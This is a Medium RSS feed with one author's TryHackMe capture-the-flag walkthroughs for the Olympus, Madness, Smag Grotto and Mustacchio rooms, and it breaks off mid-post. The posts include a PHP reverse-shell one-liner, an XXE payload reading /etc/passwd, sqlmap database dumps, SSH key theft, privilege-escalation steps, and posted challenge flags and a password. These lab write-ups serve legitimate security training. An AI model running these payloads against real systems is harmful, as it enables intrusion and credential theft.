<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Akash Sharma on Medium]]></title>
        <description><![CDATA[Stories by Akash Sharma on Medium]]></description>
        <link>https://medium.com/@akashsharma_61397?source=rss-1a677de27ef0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*vSjtuBcUgnLR65k_</url>
            <title>Stories by Akash Sharma on Medium</title>
            <link>https://medium.com/@akashsharma_61397?source=rss-1a677de27ef0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 19:01:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@akashsharma_61397/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe|| Olympus Full Walkthrough]]></title>
            <link>https://medium.com/@akashsharma_61397/tryhackme-olympus-full-walkthrough-5ac2af53a756?source=rss-1a677de27ef0------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ac2af53a756</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[reading]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Akash Sharma]]></dc:creator>
            <pubDate>Sun, 27 Nov 2022 14:59:41 GMT</pubDate>
            <atom:updated>2022-11-27T14:59:41.533Z</atom:updated>
            <content:encoded><![CDATA[<p>Olympus is a medium-difficulty room on <a href="https://tryhackme.com/room/olympusroom">Tryhackme</a>.</p><h3>Walkthrough</h3><h4>Enumeration</h4><p><strong>nmap</strong> shows there is two port open 22,80.</p><p>command use:</p><p>sudo nmap -sS -sV -p- 10.10.177.150</p><p>sudo nmap -sC -sV -p 22,80 10.10.177.150</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*F527LwWLcI3P3Y4cskZu3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*2grLCbNgfRdXpMYSsMWgzQ.png" /></figure><p>The website is not loading, add olympus.thm in /etc/host file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*ieB5GPU7bDIaGBg2Bpv9yg.png" /></figure><p><strong>Website</strong></p><p>nothing is interesting here nor in the source file. Let&#39;s start to look for hidden files and folders using dirsearch tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y61HTymNtPVrsByTSX8klQ.png" /></figure><h4><strong>dirsearch</strong></h4><p>dirsearch -u <a href="http://olympus.thm/">http://olympus.thm</a> -w /usr/share/wordlists/dirb/common.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*xaTxk41cjQErKIQ8YcKmng.png" /></figure><p>There is a directory ~webmaster. Checking out this Victor CMS blog.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*U9y33umLNqYhLs_eAja9sg.png" /></figure><p>There is Two way to find vulnerability:</p><ol><li>. Use searchsploit it will show all possible vulnerability</li><li>3.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*8fpiv2_8DE2MPR14xfohtw.png" /></figure><p>2). Tyna manually poke around in different parameters.</p><p>I&#39;m gonna use the second way.</p><p>first para…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*Bvc1g_rcEnSIEmtPdFfn4g.png" /></figure><ol><li>capture the req in burpsuite save it and use sqlmap for automatic testing.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*mwXAiniSpD5weXjP-rsFPw.png" /></figure><p>save the request in file and pass through sqlmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*2AJ6LekxWmyiZ1HITYYZtw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bXkpTinAwnqGkIsoxe--1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*WYj4ZYZBGD1g9-9lfZURbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*wQYldw79gbzx97Qu7Qw-tg.png" /></figure><p>sqlmap -r req1.txt -D olympus — tables</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*YTB9SP0dMW0aaqnD2ArmEg.png" /></figure><p>sqlmap -r req1.txt -D olympus — dump-all</p><p>we found two important table users and our first flag.</p><h4>take note: we have another subdomain chat.olympus.thm</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CDMq80Ltjb_lU2uL9IB2hQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*exx_ky8OhfD123K0vay--A.png" /></figure><p>Now we can grab those hashes we dumped from the Olympus database and drop them into a file with the associated usernames as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*eoC4iFP4YteDRTBtSUnGZg.png" /></figure><p><strong>john</strong></p><p>john cracks the password of Prometheus. now we can log in web browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*MwcrokcgtmJ-JDVOVmuHWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_M-QLbilO1GQqFdj0EA4aA.png" /></figure><p>I’ve tried every possible enumeration for this page, but not successful at the end of the day. After thinking it&#39;s nothing more than a rabbit hole.</p><p>Now let’s enumerate another subdomain discovered in hash-dump data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*vOxjrdvlyFF00IG2X5iItg.png" /></figure><p>add this subdomain to /etc/host file .</p><p>login in using the same creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*zTOmoMVisq49ge1VAoKJDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*IA4p7hwfmYZbu10R1FqQKQ.png" /></figure><p>after reading up on the chats there is a function that changes the file name after uploading. we saw similar chats when dumped the whole Olympus database was with help of sqlmap.</p><p>let’s just upload php-revrseshell and dump the chats again .</p><p><strong>Note: after uploading the shell and trying to dump chats again there are possibility chats won&#39;t get updated so what to do.</strong></p><ol><li>delete the old SQL dump folder file location /home/kali/.local/share/sqlmap/output/olympus.thm . Turn on the hidden file option. after that run the sqlmap again with — dbs and dump all the chats again.</li><li>use the different parameter and repeat the command and process.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*uNiJLrcPbdUmpeShA7A4Kg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fciAzScFz1YkkKUtA3doXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*Zgqx-TBSQymV9HgeMZdxXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*XJHawAhs3pWFsLzZxty5Ow.png" /></figure><p>now we know the file name let&#39;s just get the shell back on the computer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*ysdBqvRkVwVgHtQGvC837A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*9GtD0If3SJOwL56oTN_wFA.png" /></figure><p>we got our second flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*iVEPwyPltbxmLank3_uGpw.png" /></figure><h3>Escalate To User</h3><p>For privilege escalation linpeas.sh was run against the target system, linpeas identified where the binary /usr/bin/cputils has the SUID bit set for the user zeus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*ylMsPp3Faz1g4o2qYrdEWg.png" /></figure><p>we try running it and what it does it copy a file from one place to another. The interesting thing to notice is the new location is owned by zeus and is readable by the www-data user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*DDwju3AaYnrtyfKEHZT3DQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*5OIf31JiAIZYDBtkeKkeSQ.png" /></figure><p>we know ssh is running, we do have .ssh in zeus too. Copy the id_rsa file on to attacker&#39;s machine, crack the hash, and login in ssh as zeus .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*SJmTUoqajCbZ14OMhZFUzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*xmWWTBV726E5ydGm5EFZ2Q.png" /></figure><p>Now let’s login, remember the permission for id_rsa file 600. if u give wrong permission to file it show error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*5RTgjBhnrAGonKMHp2S-EA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*XvTjlFAevaC3eeeu-dfnpA.png" /></figure><p>we got our second flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/1*-Vbc-E5DGvJ-RBNXdJQ-YQ.png" /></figure><h3>Escalate to Root</h3><p>Now we need to escalate our privileges one more time to get root on the machine. I ran linpea.sh againg and found file owned by root and hads readble acces for zeus group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*iXx85KByyH8TB4i4W4Wl2A.png" /></figure><blockquote>After manual enumeration of files, I found root backdoor in VIGQFQFMYOST.php file.</blockquote><p>A further look through at the PHP code and we can see we can call a binary file to spawn a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*-5ql7V-ZcznBPxQRHZKNhw.png" /></figure><p>Now we get root shell on this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*SV5CjEx5QBJCEY_dbX0F5w.png" /></figure><p>third flag: flag{D4mN!_Y0u_G0T_m3_:)_}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*2txKA_cQX5sy06Dzd_ZJnQ.png" /></figure><p><strong>LAST FLAG</strong></p><p>PS : Prometheus left a hidden flag, try and find it ! I recommend logging as root over ssh to look for it ;)</p><p>The root flag suggested using regex to find the bonus flag. I’m going to use a simple grepcommand with some options to find the last flag. Using the hint provided in the room, we know that the last flag is somewhere in the /etc directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*0teNibSoxLHaEeHk0iJ0Bw.png" /></figure><p>last flag: flag{Y0u_G0t_m3_g00d!}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ac2af53a756" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Madness TryHackMe — Writeup (Detailed)]]></title>
            <link>https://medium.com/@akashsharma_61397/madness-tryhackme-writeup-detailed-2806dff73a7f?source=rss-1a677de27ef0------2</link>
            <guid isPermaLink="false">https://medium.com/p/2806dff73a7f</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[knowledge]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Akash Sharma]]></dc:creator>
            <pubDate>Fri, 24 Dec 2021 17:16:42 GMT</pubDate>
            <atom:updated>2021-12-24T17:51:44.757Z</atom:updated>
            <content:encoded><![CDATA[<h3>Madness TryHackMe — Writeup (Detailed)</h3><p><a href="https://tryhackme.com/room/madness">Madness</a></p><p>I get to learn many new ways, different methods and use the new tool by practicing this machine. It is fun and gives pain in the head at the same time hope u guys enjoy this walkthrough.</p><p>Level: easy (that what they say)</p><h4>Network Scanning</h4><p>nmap -sC -sV 10.10.32.148</p><ul><li>sC = script scan , -sV = service/vesion scan</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*cwz77BVK1Mdgly7j8ED0vw.png" /></figure><p>There are 2 open ports</p><ul><li>22 = ssh</li><li>80 = http</li></ul><p>Now let’s navigate to the target machine IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z2RNj6x6mXmdRDjymZPN3w.png" /></figure><p>Its nothing but a default apache web page.its always good to check for the source code of the web page to find any hidden comment or anything that can use for us. (ctrl+u) to open source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*Wl7Us0oBhD6_ZaIBlnGk0A.png" /></figure><p>There is a comment that says u never find me yet we did duh!!. but above that comment, we see an image lets just download the image using “wget” and see where it leads us to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*YiZ4PMM3WpXyTWeXQaE9eA.png" /></figure><p>Analyze the file using ‘file’ command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/231/1*HiQENzv-C_GbGcJA0GqlIA.png" /></figure><p>An image file i.e. png,jpg,jpeg etc is corrupt or contains errors means the file signatures are not correct as per the extension type and incorrect file signatures won’t allow us to open the file. Now we have to modify the signature in hexeditor according to the extension of a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kuto2ZVDbhhnfDs6OyyZGw.png" /></figure><p>as u can see it has png signature now let just modify into jpg signature and save it .</p><p><a href="https://www.file-recovery.com/jpg-signature-format.htm">JPG Signature Format: Documentation &amp; Recovery Example</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*fJWPTyPAjQyAS-lC_VyAyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*-lTwcAgKoxY_OII6ouov4w.png" /></figure><p>now we found a hidden directory , navigate to the it <a href="http://ip/hideen">http://ip/hideen</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*oYzAP_KNtQgY0i4rOM1yQg.png" /></figure><p>Again lets look to the source code of the page;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*5nK5YbI_HYG0bk5oDPzT3Q.png" /></figure><p>Reading this source code i understand that between 0–99 there is a correct number to access the right page, lets use burp suite tool, intruder option to do our task for us, if u good with scripting make your way out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*5otJaxEJdRdqHwYmWxgOZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*3kqHRebFxoNbYJJZ8SFf1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*uLI8At5WL9XuCAnSjMD4sQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*tuUCcLTbaraVVBSwJzpcHA.jpeg" /></figure><p>73 is the correct number, different length . Now let&#39;s navigate to the new page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*oZJ8ExC23tudcV5sNDoSTQ.png" /></figure><p>Initially, I thought this was another directory; however, this did not work, so I went back to the original image to check for hidden files using the tool steghide.</p><p>easy to install: apt-get install steghide.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*BvqBGtPFvIkc7TDfB30hOw.png" /></figure><p>it does contain a hidden file, pass is what we found on the secret page. The username is short yet rotated and it clearly indicates that it is ROT13 encoded.</p><p><a href="https://rot13.com/">rot13.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*RFm4wm7wuKOmjTC3vqDbfA.png" /></figure><p>Now we have the username all we need is a password.</p><p>If you remember Madness CTF Main Page there is clearly tells us that the challenge does not require SSH Brute-forcing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w2FLA6jZ1wWM8ucP.jpg" /></figure><p>But notice the picture above. MADNESS WE’RE ALL MAD HERE. It was put there for a purpose. Maybe this image has something hidden in it just like the previous one, download the image using wget and examine it with steghide tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*vGmZ2Y0BgYzkHmw2FYRJWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*6G8ut1CyTeXMOjeoM4h3lg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*P5k5jfRfnnA3jemnHdPPOA.png" /></figure><p>Let’s do SSH now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*7PahRoo-QdJ2nixgqYpeCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*qbgOwYHce5IpVdkwjgQHbQ.png" /></figure><p>Now next step is have to escalate privileges and become root. i m using automated enumeration of any potential attack vectors on the box is ‘Linpeas’ — genuinely a brilliant script.</p><p><a href="https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/linpeas.sh">PEASS-ng/linpeas.sh at master · carlospolop/PEASS-ng</a></p><p>nano linpeas.sh , go to the github, tap on the raw, copy the code and paste, make it executable (chmod +x linpeas.sh)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4-AFL4XjlerTRvwL2g24g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*-luj1afhWVC8rXN0vBqaDQ.png" /></figure><p>now make the script executable and run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*loJLCFfOFr8JoCkv06F8HQ.png" /></figure><p>The best part of this script is when something which is highlighted in RED&amp;YELLOW has 99 percent chance of an attack vector that could escalate the privileges.</p><p>Now let&#39;s find an exploit for it,</p><p><a href="https://www.exploit-db.com/exploits/41154">OffSec&#39;s Exploit Database Archive</a></p><p>Go to tmp folder, make a file. copy the script and paste it .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*Saec2AO5WVXNIbI-GrGA1Q.png" /></figure><p>now make file executable same chmod +x file name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*ORbN9S2AO5KPVS5RsxgNeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*1_FyajFL_UZTbiF2hyzeKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*TOLCSVOhxoiC9UzVNn1nJQ.png" /></figure><p>We have successfully rooted the box.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2806dff73a7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe|Smag Grotto — Writeup]]></title>
            <link>https://medium.com/@akashsharma_61397/tryhackme-smag-grotto-writeup-7a8da07a09cf?source=rss-1a677de27ef0------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a8da07a09cf</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[knowledge]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Akash Sharma]]></dc:creator>
            <pubDate>Thu, 23 Dec 2021 10:16:27 GMT</pubDate>
            <atom:updated>2021-12-23T10:16:27.991Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe|Smag Grotto — Writeup</h3><h4>Task: Deploy the machine and get root privileges.</h4><h4>Level: Easy</h4><p><em>Hello guys back again with another walk-through this time am going to be Solving another machine </em><a href="https://tryhackme.com/room/smaggrotto"><em>Smag Grotto</em></a><em> from </em><a href="https://tryhackme.com/"><em>TryHackMe</em></a><em>.</em></p><h4>NETWORK SCANNING</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*LFalMCVu9FXO6QRQZuTmLA.png" /></figure><p>Nmap result finds two open ports 22&amp;80, Services running on those ports are ssh,HTTP.</p><h4>ENUMERATION</h4><p>To enumerate the HTTP service, we open the IP address of the target machine in the Web Browser and there is normal looking web-page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yLnrvLEiDO6VBbU_AddWmw.png" /></figure><p>The next thing I decide to do was directory bruteforce with tool go-buster.<strong>Gobuster</strong> is a tool used to brute-force: URIs (directories and files) in websites,DNS subdomains.</p><p>Command to use : -w(wordlist) -u(url) -t(threads)</p><p>dir -w /usr/share/wordlists/dirb/common.txt -u <a href="http://10.10.96.199/">http://10.10.96.199</a> -t 50</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*sMQV1hQLEe5git5l6LlnFQ.png" /></figure><p>Looking at the output of go buster we do find some directories including /mail. let just give this directory a sweet visit..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQeEXC_p3oTfkRixmWKS5A.png" /></figure><p>Navigating to this /mail directory we found emails, an attachment at last usernames.</p><p>net admin, uzi, jake can use for ssh login for later on.</p><p>Let’s download the pcap file to our local box using wget as we’ve been instructed from the mails or just click on the .pcap file download and save in a folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*V_9RQsQDqUc8UDlCabTRag.png" /></figure><p>The next thing i did was open this file in the Wireshark tool to read the packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qQgI45axg34ZZgEiQfvg_w.png" /></figure><p>Now Analyse the packets and there we do find interesting packet /login.php</p><p>Right click on the packet &gt;&gt; follow &gt;&gt; tcp stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*V3xRONT7OvTvZyybTA-GYg.png" /></figure><p>Two important we found:</p><p>new hostname or subdomain, Credentials to login.</p><p>The next thing is to do add this hostname to my host file /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*k6pvfo5Oj1T3o4D7KORJCg.png" /></figure><p>Navigate this hostname into the browser and login with creds we found above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zddMgKRULURf7_6Xa6xFOQ.png" /></figure><p>This is a blind type command injection vulnerability meaning no output (stdout) is printed on the screen. To test if it work I’ll try to ping myself and set up a tcpdump and see if i get a callback</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*Fxzxdhzdqk1_Rbed6J8E7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*R2WK1IWHyL2jKNSnXW66Tg.png" /></figure><p>Now next step is to get a reverse shell on the box.</p><pre>php -r &#39;$sock=fsockopen(&quot;you ip&quot;,4444);exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*XqXB78HaIKBFY1OPj5ADJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*KPUH4K_RNYv39yta8mse3A.png" /></figure><p>we get the shell , after using python command to get the proper ttyl shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*VaF7-z2LsDDw9Z10iATUqQ.png" /></figure><p>Navigating to /home we see that there is only one user in the box called Jake. <strong>user.txt</strong> flag but we don’t have read permissions for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*6CxDCsZHxZLQU7LWA3yFGQ.png" /></figure><p>The cronjob appears to be copying public ssh keys from <strong>/opt/.backup/</strong> to the user jake .ssh directory. If by any chance we can edit this file we can add our own generated public key and gain a shell as the user Jake on the box.</p><p>Now we move to the .backups directory and we do have write access to the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*toDfLpk7ckpcZ8V4tKBCDQ.png" /></figure><p>Now we generate ssh public key nd private key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*sWba4BebuGJXvFN_m4gclw.png" /></figure><p>lets copy our public key to the back directory. But i have trouble opening file in nano .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*WcnrA4d-qbH1nLVbAdKYZQ.png" /></figure><p>so i use echo command to paste key in that file:</p><h4>echo ”key” &gt; filename</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y8adW3TvGnlJWPeIfZjABg.png" /></figure><p>now lets login in shh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*9rbBswpS4Txq1dzCVpo-dw.png" /></figure><p>now we have permission to read user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*iHuAO9Q_6WAHeonWpqnNoQ.png" /></figure><p>Now we have to escalate our privileges to the root user.</p><p>Running sudo -l ,found that we could run apt-get as the root user without the root’s password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*dnhRnn4qUHIWqznzp49JJg.png" /></figure><p>Go to <a href="https://gtfobins.github.io/#">GTFOBins</a> search for apt-get we do find a command to escalate the privilege as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*LL0JhAYnm1oBAdif8mHNzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*F0HNuh-cfXpCwNPDFDuqoQ.png" /></figure><p>i hope you guys have enjoyed the Write-up. Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a8da07a09cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Mustacchio -Writeup]]></title>
            <link>https://medium.com/@akashsharma_61397/tryhackme-mustacchio-writeup-3acd8ea08d8f?source=rss-1a677de27ef0------2</link>
            <guid isPermaLink="false">https://medium.com/p/3acd8ea08d8f</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[writing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[knowledge]]></category>
            <dc:creator><![CDATA[Akash Sharma]]></dc:creator>
            <pubDate>Wed, 22 Dec 2021 08:38:57 GMT</pubDate>
            <atom:updated>2021-12-22T08:38:57.109Z</atom:updated>
            <content:encoded><![CDATA[<p>Today, Here I come bring another Challenge Walkthrough of “Mustacchio” created by <a href="https://tryhackme.com/p/zyeinn">zyeinn</a>. It’s a boot2root Machine.<br><strong>Level: Easy</strong></p><h4>Tasks To Solve</h4><p>What is the user flag?</p><p>What is the root flag?</p><h4>Network Scanning</h4><p>Start Nmap scan (-A) Enable OS detection, version detection, script scanning, and traceroute (-p-) to scan all port numbers <strong>0 to 65535</strong>.</p><p>nmap -A -p- 10.10.149.109</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*Tl6KUMWAryefU5wjC_maIw.jpeg" /></figure><p>three services running on the target machine. We have 22 (SSH), 80 (HTTP) and 8765(HTTP).</p><h3>Enumeration</h3><p>To enumerate the HTTP service, we open the IP address of the target machine in the Web Browser and found a Web page. There is nothing interesting going on, on this website it is full of templates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BHloXgSDAtXlbk3lMaUV0w.jpeg" /></figure><p>but we know there is another port running 8765.i found admin panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nWl4Sg862GmsLk17J_NoXQ.jpeg" /></figure><p>I didn&#39;t get much information from the two web pages, then I perform web Directory Bruteforce. i use the dirb tool. After running for a while, I found a directory name custom.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*ggS_TYlisSwQ8k-W8juiWQ.jpeg" /></figure><p>Browsing the custom directory, I found two other directories. One was the CSS directory and another js directory. There is nothing in css directory that can be helpful for us. Now move to the js directory where I found an important user.bak file that is a database file. Maybe something important stored in that file .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*H2pGYXBKxLe80lfz7amYBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*js5DD81LbZYFZc7sfqE3zQ.jpeg" /></figure><p>Now simply download users.bak file by a tap on it and I use SQLite database browser to real file that tool is already installed in kali no need to download from any other source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*aY6ZanwL6JfHv3aRY1A-FA.jpeg" /></figure><p>open the file How &gt;&gt;tap on open database select file then browse data. Now copy the hash to a file and i use john the ripper to crack the hash. i already have cracked hash that is why i use — show command to see password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TH2gpf5lwH78XVa3M-vXnQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*ASVThqJ96TwnC7uB87Mvtg.png" /></figure><p>Now let’s login in the panel &gt;&gt; admin — bulldog19&lt;&lt;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*JMT3S-8_vnmWrxINM6ddGA.jpeg" /></figure><p>I checked the source code of this page to find any hidden comments. There is two comments in the source code of this page. The first one hinted at another backup file inside the auth directory name dontforget.bak. Another comment tells about a user Barry and it is clearly mentioned that the user Barry can log in on SSH with the help of his key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*0uDwMb7iH8O1kBwjpXITrw.png" /></figure><p>Using the hint that was provided in source page , i wanted to take a closer look at the backup file name dontforget.bak.i use the wget command to download the file to our local machine. after that use the file command to find out the type of this file and found that it is an XML file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mzJhu_O0bJ5swWmGbNb6fw.jpeg" /></figure><p>the XML file that was enumerating and since the web application accepts the XML as input. Random guess if the application is vulnerable to(XXE injection attack). Now goona modify the code so can take advantage of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*ZCi_EnrN5ocW1ALjida1FA.jpeg" /></figure><p>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;<br>&lt;!DOCTYPE data [<br> &lt;!ELEMENT data ANY &gt;<br> &lt;!ENTITY name SYSTEM “file:///etc/passwd” &gt;]&gt;<br>&lt;comment&gt;<br> &lt;name&gt;&amp;name;&lt;/name&gt;<br> &lt;author&gt;Akash&lt;/author&gt;<br> &lt;com&gt;Urcu 